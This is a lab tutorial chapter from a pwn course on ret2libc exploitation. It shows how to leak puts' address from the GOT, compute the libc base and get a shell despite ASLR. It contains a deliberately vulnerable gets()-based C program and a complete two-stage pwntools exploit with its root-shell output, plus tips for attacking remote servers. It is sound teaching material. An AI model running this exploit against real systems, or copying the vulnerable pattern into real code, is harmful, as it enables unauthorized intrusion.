Step 207. ret2libc: Leaking the libc Address to Bypass ASLR — Tracing an Address That Changes Every Run
Level 3 — Pwn Track | Difficulty ★★★★★ | Estimated time: 6 hours
Prerequisites: you’ve finished Steps 204–206. You’ve called
system("/bin/sh")with a ROP chain and know the PLT is a fixed gateway. You remember the ASLR concept from Step 187.
⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime.
- What you need: a WSL Ubuntu terminal, gcc, gdb, ROPgadget, pwntools. The measured environment is Ubuntu 24.04, glibc 2.39-0ubuntu8.8, pwntools 4.15.0.
- Caution: today’s technique is the standard attack against field environments with ASLR on. The only target is an experimental binary you compiled yourself, and we don’t touch the system’s global ASLR setting.
Step 206’s attack had one freebie: the fixed gateway called system@plt. But libc’s real contents — system, and the "/bin/sh" string — load at different addresses every run because of ASLR. Today we learn the technique of making the sliding address tell us itself, by asking the program. Leak, calculate, strike twice — the two-stage exploit. The summit of the Pwn track.
1. Learning Objectives
By the end of this chapter, you will be able to:
- Prove with an
lddmeasurement how ASLR changes libc’s address - Explain that the GOT holds "the real libc addresses of already-called functions"
- Leak one libc address with a
puts(puts@got)chain - Compute system and "/bin/sh"’s real addresses with
leak - offset = libc base - Complete a full ret2libc: stage 1 returning to main + stage 2 striking with the calculated addresses
2. Background Knowledge — Today’s Tools and Concepts
Today’s Tools at a Glance
| Category | Details |
|---|---|
| Language/environment | C + Python (pwntools), WSL Ubuntu bash, glibc 2.39 (x86-64, ASLR on) |
| Today’s commands/APIs | ldd ./target (observe load addresses), objdump -R ./target (GOT listing), u64(...) (interpret the leak), libc.symbols[]·libc.search() (offset math), ljust(8, b'x00') (6-byte padding) |
| Concepts needed | ASLR, GOT/lazy binding, libc base and offsets, two-stage exploits |
2-1. ASLR — A Library That Moves House Every Run
ASLR (Address Space Layout Randomization) is a defense that shuffles the addresses of the stack, heap, and libraries on every run (Step 187). The target lethal to us is libc: system’s address and "/bin/sh"’s address both change every run.
But the fine rules open our road. ① libc moves as one whole lump — the distances (offsets) between its internal functions are invariant. ② This binary is -no-pie, so the PLT/GOT addresses are fixed. ③ The real addresses of functions the program has already called are recorded in the GOT. Weave the three together: steal-read one address from the GOT (leak), subtract its offset, and you get the start of the libc lump (the base); add the offset to system and you have the real address in that run.
2-2. The GOT and Lazy Binding — The Bulletin Board Where Addresses Get Written
When a binary calls a libc function (like puts), the code goes through a gateway called the PLT. The PLT jumps to the address written in a table called the GOT (Global Offset Table). And under Linux’s default behavior (lazy binding), the GOT cell records the real libc address of that run only after the function is actually called for the first time.
The core point is this: the GOT’s address is fixed (like 0x404000), but its contents are that run’s real libc address. So if you ROP-call puts(the GOT address of puts) — in effect telling puts, "print your real address as written in your own address book" — a libc address gets printed to the screen. The program shoots itself in the foot, voluntarily.
2-3. Offset Math — The Arithmetic of Finding the Base
In glibc 2.39 (this measured environment), the in-file offsets are:
| Symbol | Offset (measured) |
|---|---|
| puts | 0x87cc0 |
| system | 0x58750 |
| "/bin/sh" string | 0x1cb42f |
Subtract 0x87cc0 from the leaked real address of puts and you get the libc base; add 0x58750 to that and you have that run’s system. Caution: these offsets differ by libc version. If the remote server’s libc differs, these numbers are useless, and you use a database (libc.rip etc.) that identifies the libc version from two leaked addresses. Today we’re local, so we open our own libc file and compute directly.
2-4. The Two-Stage Exploit — Go Back and Strike Again
One problem remains. After the stage-1 chain calls puts, where should the program go? If it just dies, there’s no time to calculate. The answer: return to main. Stack the chain’s end with main’s address, and after the leak prints, the program runs again from the start — giving us a second input opportunity. Then we pour in the finished chain with the calculated addresses.
[Stage 1] padding + pop rdi + puts@got + puts@plt + ret + main
→ puts' real address prints to the screen → we calculate
[Stage 2] padding + pop rdi + (base + /bin/sh) + ret + ret + (base + system)
→ shell
3. Follow Along
3-1. Building the Target — A Vulnerable Program That Uses puts
Input (vuln207.c)
#include <stdio.h>
/* Gadget supplier function */
void gadgets(void) {
__asm__ volatile(
"pop %rdint"
"retn"
);
}
void vuln(void) {
char buf[32];
puts("=== ret2libc lab ===");
printf("Input: ");
fflush(stdout);
gets(buf);
printf("Received: %sn", buf);
fflush(stdout);
}
int main(void) {
vuln();
puts("Normal exit");
return 0;
}
How to read it: it actually calls puts (the banner output) — so the real address gets recorded in puts’ GOT cell. That’s the leak material.
cd ~/lab204_208
gcc -g -O0 -fno-stack-protector -no-pie vuln207.c -o vuln207
Once again NX is on, and ASLR stays at the system default (on). Today’s subject is not experimenting with it off — it’s piercing through while it’s on.
3-2. Proving ASLR — Same Binary, Different Addresses
Before attacking, first confirm the wall.
ldd ./vuln207 | grep libc
ldd ./vuln207 | grep libc
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x0000782f9d000000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x0000700e95c00000)
(Measured 2026-09-09.)
How to read the output: the same command twice shows different libc load addresses (0x782f… and 0x700e…). system’s address changes with this value every run. Fixed-address attacks end here. Hence the need for a technique that steal-reads addresses while the program runs.
3-3. Observing the GOT — Is It Really Written on the Board
objdump -R ./vuln207 | grep puts
0000000000404000 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5
(gdb) b vuln
(gdb) r
(gdb) x/gx 0x404000
0x404000 <puts@got.plt>: 0x00007ffff7c87cc0
(gdb) info symbol *(long*)0x404000
puts in section .text of /lib/x86_64-linux-gnu/libc.so.6
(Measured 2026-09-09. gdb disables ASLR by default, so addresses appear fixed in the 0x7ffff7c… shape — in real runs they change every time.)
How to read the output: the fixed address 0x404000 (the GOT) holds 0x7ffff7c87cc0, and gdb confirms it’s libc’s puts. The bulletin-board theory, confirmed in the flesh. Stage 1 is printing this cell’s contents to the screen.
3-4. ★ The Full Exploit — A Script That Strikes Twice
Input (exploit207.py)
#!/usr/bin/env python3
from pwn import *
e = ELF('/root/lab204_208/vuln207')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.binary = e
pop_rdi = 0x40119e # ROPgadget result
ret = 0x40101a # for stack alignment
puts_plt = e.plt['puts']
puts_got = e.got['puts']
main = e.symbols['main']
print(f"[*] puts@plt = {hex(puts_plt)}, puts@got = {hex(puts_got)}, main = {hex(main)}")
p = process('/root/lab204_208/vuln207')
# --- Stage 1: make puts(puts@got) print the real address of puts inside libc ---
p.recvuntil('Input: '.encode())
stage1 = b'A' * 40
stage1 += p64(pop_rdi)
stage1 += p64(puts_got)
stage1 += p64(puts_plt)
stage1 += p64(ret) # alignment
stage1 += p64(main) # go back to the start
p.sendline(stage1)
p.recvuntil('Received: '.encode())
p.recvline() # consume the input echo remainder
line = p.recvline().rstrip() # the 6 bytes puts printed = the leak
print("[*] leak raw:", line)
leak = u64(line.ljust(8, b'x00'))
print(f"[*] real puts address (changes every run) = {hex(leak)}")
libc_base = leak - libc.symbols['puts']
print(f"[*] libc base = {hex(libc_base)}")
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/shx00'))
print(f"[*] system = {hex(system)}, /bin/sh = {hex(binsh)}")
# --- Stage 2: system("/bin/sh") with the calculated addresses ---
# the re-entered stack has different alignment, so two rets were inserted (see Wall 3 in section 6)
p.recvuntil('Input: '.encode())
stage2 = b'A' * 40
stage2 += p64(pop_rdi)
stage2 += p64(binsh)
stage2 += p64(ret)
stage2 += p64(ret)
stage2 += p64(system)
p.sendline(stage2)
p.sendline(b'id; echo LIBC_PWNED')
print(p.recvall(timeout=3).decode(errors='replace'))
Run
/root/lab188/venv/bin/python3 exploit207.py
[*] puts@plt = 0x401074, puts@got = 0x404000, main = 0x40121f
[+] Starting local process '/root/lab204_208/vuln207': pid 624
[*] leak raw: b'xc0|xa89xd5q'
[*] real puts address (changes every run) = 0x71d539a87cc0
[*] libc base = 0x71d539a00000
[*] system = 0x71d539a58750, /bin/sh = 0x71d539bcb42f
Received: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@
uid=0(root) gid=0(root) groups=0(root)
LIBC_PWNED
(Measured 2026-09-09. The same script ran four times and succeeded with four different addresses — 0x71d5…, 0x7a92…, 0x7daf…, 0x7ee1….)
How to read the output: let’s take it line by line.
leak raw: b'xc0|xa89xd5q'— the 6 raw bytes puts(puts@got) printed. Not human-readable, so we turn them into a number withu64.real puts address = 0x71d539a87cc0— the real address where puts inside libc loaded in this run. The very thing ASLR changes every time, told to us by the program itself.libc base = 0x71d539a00000— the leak minus 0x87cc0. It ends cleanly in 00000 (libraries load page-aligned). That cleanliness is the signal the math is right.uid=0(root)/LIBC_PWNED— output from the shell spawned by the stage-2 chain. A shell captured with ASLR on.
3-5. Double-Checking the Math by Hand
Let’s confirm by checking, not believing. The offsets are what pwntools read by opening the libc file.
puts = base + 0x87cc0 → 0x71d539a87cc0 = 0x71d539a00000 + 0x87cc0 ✓
system = base + 0x58750 → 0x71d539a58750 = 0x71d539a00000 + 0x58750 ✓
/bin/sh = base + 0x1cb42f → 0x71d539bcb42f = 0x71d539a00000 + 0x1cb42f ✓
(Calculated with the numbers from the 2026-09-09 measured output.)
One leak yields the base, and one base yields the address of everything in libc. This is why "one leak is the key that opens the kingdom."
4. Missions & Exercises
Mission — A Complete ret2libc Report
- Change vuln207.c’s buf to
char buf[24]and recompile (the padding changes!) - Re-collect all materials: padding (disas), pop rdi/ret (ROPgadget), puts@plt/got/main (pwntools or objdump)
- Fix the exploit to complete the two stages, and leave a record of three consecutive runs succeeding with three different libc bases
- Build a double-check table: the full add-subtract process of leak → base → system → "/bin/sh"
- Answer at the end of the report: ① "If the server is remote and you don’t know its libc file, what is the problem and how would you solve it?" ② "Name at least three defenses that block this attack" (hint: Step 187’s defense layers and Full RELRO)
Exercises
Exercise 1. Even with ASLR on, why are the offsets inside libc (the puts~system distance) invariant?
Exercise 2. Explain the principle by which the puts(puts@got) chain serves a leak — including what gets written to the GOT and when.
Exercise 3. Why does the stage-1 chain end with main? Wouldn’t exit work?
Exercise 4. The leak raw was 6 bytes, yet we made it 8 with ljust(8, b'x00') before feeding u64. Why 6 bytes, and why pad?
5. Model Answers & Completion Criteria
Mission Model Answer
An example report (2026-09-09, Ubuntu 24.04, glibc 2.39 — numbers vary by environment):
[design] buf[24] → disas confirms buf = rbp-0x18, padding = 0x18 + 8 = 32 bytes
[materials] pop rdi ; ret = 0x4011xx, ret = 0x40101a, puts@plt/got/main re-measured
[3 consecutive successes]
run1: leak=0x7f...87cc0 base=0x7f...00000 → uid=0(root) LIBC_PWNED
run2: leak=0x7e...87cc0 base=0x7e...00000 → uid=0(root) LIBC_PWNED
run3: leak=0x78...87cc0 base=0x78...00000 → uid=0(root) LIBC_PWNED
(all three runs share the leak's low 5 digits 87cc0 — evidence of invariant offsets)
[double-check] base + 0x58750 = system, base + 0x1cb42f = /bin/sh (holds for each run)
[answers]
① without knowing the remote libc you don't know the offsets → leak two
(puts plus one more) and identify the version in a libc database to get the offsets
② don't use gets (blocks the overflow), enable canaries (detects overwrites),
Full RELRO (makes the GOT read-only), PIE (randomizes even the binary's addresses)
How to verify: ① are the leaks’ low digits identical across the three runs — the cleanest evidence that ASLR moves only the base while offsets persist? ② does each equation in the double-check hold? ③ does the defense answer include both "input caps" and "GOT protection (Full RELRO)"?
Exercise Answers
Answer 1. Because ASLR only moves the library as one whole lump; it doesn’t rearrange functions’ relative placement inside the file. The puts–system distance is a fixed value engraved in the libc.so.6 file, and only the lump’s starting point (the base) changes every run. So real address = base + invariant offset.
Answer 2. Under lazy binding, a function’s real libc address of that run gets written to the GOT only after its first actual call. vuln207 already called puts for its banner, so puts@got (fixed address 0x404000) holds the real address. Hand puts@got to puts as an argument, and puts prints that cell’s contents — its own real address — like a string. We made the program tell a secret using only information it already had.
Answer 3. Because after receiving the leak and calculating, we need a second overflow opportunity. Returning to main makes the program run vuln again and accept input once more. Ending with exit terminates the program, leaving nothing to pour stage 2 into. "Attack, survive, and attack again" is the core of the two-stage exploit.
Answer 4. x86-64 user-space addresses always have their top 2 bytes as 0, so the leak output carries only the meaningful 6 bytes (in the 0x00007f… shape, the null bytes would mean termination for string output). u64 demands exactly 8 bytes, so we pad the missing top 2 bytes with x00, restoring the original address (whose top bytes are 0 anyway). Without padding, u64 throws an error.
Completion Criteria Checklist
- [ ] I proved ASLR by running ldd twice
- [ ] I confirmed the real address written in the GOT with objdump and gdb
- [ ] I leaked a libc address with the puts(puts@got) stage-1 chain
- [ ] I double-checked the leak – offset = base math by hand
- [ ] I captured a shell with the stage-2 chain while ASLR was on
- [ ] I can explain why the 6-byte leak is handled with ljust
- [ ] I ran multiple times and confirmed success with different bases
- [ ] Mission: I completed the 3-success record and double-check report for the redesigned target
6. Common Pitfalls & Fixes
Wall 1. u64 error — unpack requires 8 bytes
Symptom: a length-related error at u64(line).
Cause: the leak output is 6 bytes but u64 demands 8. Or recvline included the newline, making 7 bytes.
Fix: u64(line.rstrip().ljust(8, b'x00')) — strip the newline (rstrip) and pad with nulls (ljust) to exactly 8 bytes. That’s the standard idiom.
Wall 2. Stage 1 works but the base comes out messy
Symptom: the computed libc base doesn’t end in 000.
Cause: the leak interpretation is wrong — you read the wrong bytes, or subtracted a different function’s offset.
Fix: libraries load page-aligned (0x1000), so the base must end in 0x…000. If it’s messy, suspect the leak parsing. Check the actually received bytes in debug mode, and verify recvuntil/recvline consume exactly the one leak line.
Wall 3. It dies only in stage 2 — alignment returns
Symptom: the stage-1 leak is perfect, but stage 2 segfaults (we actually hit this while writing).
Cause: the stack re-entered via main has different alignment than the first time. In the measurement, stage 2 died with one ret (same shape as stage 1) and survived only with two.
Fix: the same prescription as Step 206’s movaps wall — vary the ret count. Trying 0, 1, 2 in order is field standard. Confirm the death spot is movaps in gdb.
Wall 4. Local success, remote failure
Symptom: it works locally but stage 2 dies against the remote server.
Cause: the server’s libc version differs, so the offsets differ. Our 0x87cc0/0x58750 belong to this environment’s glibc 2.39.
Fix: remotely, leak two (different functions), look them up in a libc database (libc.rip etc.) to identify the version, and use that version’s offsets. This is the standard procedure of field ret2libc.
Wall 5. In gdb the address is the same every time
Symptom: inside gdb, the leak address appears fixed at 0x7ffff7c….
Cause: gdb disables ASLR by default for debugging convenience.
Fix: it’s not a bug — it’s gdb’s default behavior. Verify ASLR-on conditions outside gdb (run the script directly). Today’s script succeeding with four different bases is the evidence.
7. Summary
Today’s Concepts
| Concept | One-line explanation |
|---|---|
| ASLR | A defense moving libraries as a whole lump every run — offsets are invariant |
| GOT | A fixed-address table where library functions’ real addresses get recorded |
| Lazy binding | The behavior where the real address enters the GOT only after the first call |
| Leak | The technique of making a program print its own addresses — ASLR’s key |
| libc base | leak – offset. This one value opens the map of all of libc |
| Two-stage exploit | The strike-twice structure via main return — leak, then the finished chain |
Today’s Commands & APIs
| Command/code | What it does |
|---|---|
ldd ./target |
Observe libc load addresses — prove ASLR |
objdump -R ./target |
List GOT entries (the address book) |
x/gx 0x404000 (gdb) |
Check a GOT cell’s contents |
u64(line.rstrip().ljust(8, b'x00')) |
Turn the 6-byte leak into a number |
leak - libc.symbols['puts'] |
Compute the libc base |
base + libc.symbols['system'] |
system’s real address |
base + next(libc.search(b'/bin/shx00')) |
the string’s real address |
An Instinct More Important Than Commands
Today’s attack is, at its core, not a technique but a flip of perspective. ASLR is the defense "the attacker doesn’t know the addresses" — and instead of guessing, we asked. The program lives with the addresses it uses written in its GOT, and if that program has a mouth for output — you can make that mouth speak the secret. Not a game where the attacker finds what the defense hid, but a world where the program itself, living beneath the defense, is a fountain of information.
And this structure — leak, calculate, re-enter — is the skeleton of nearly every modern exploit. Today you arrived at pwn’s heart: from the thirty-two A’s of Step 186, all the way to opening a shell on an ASLR-enabled system.
Once every box is checked, Step 207 is complete.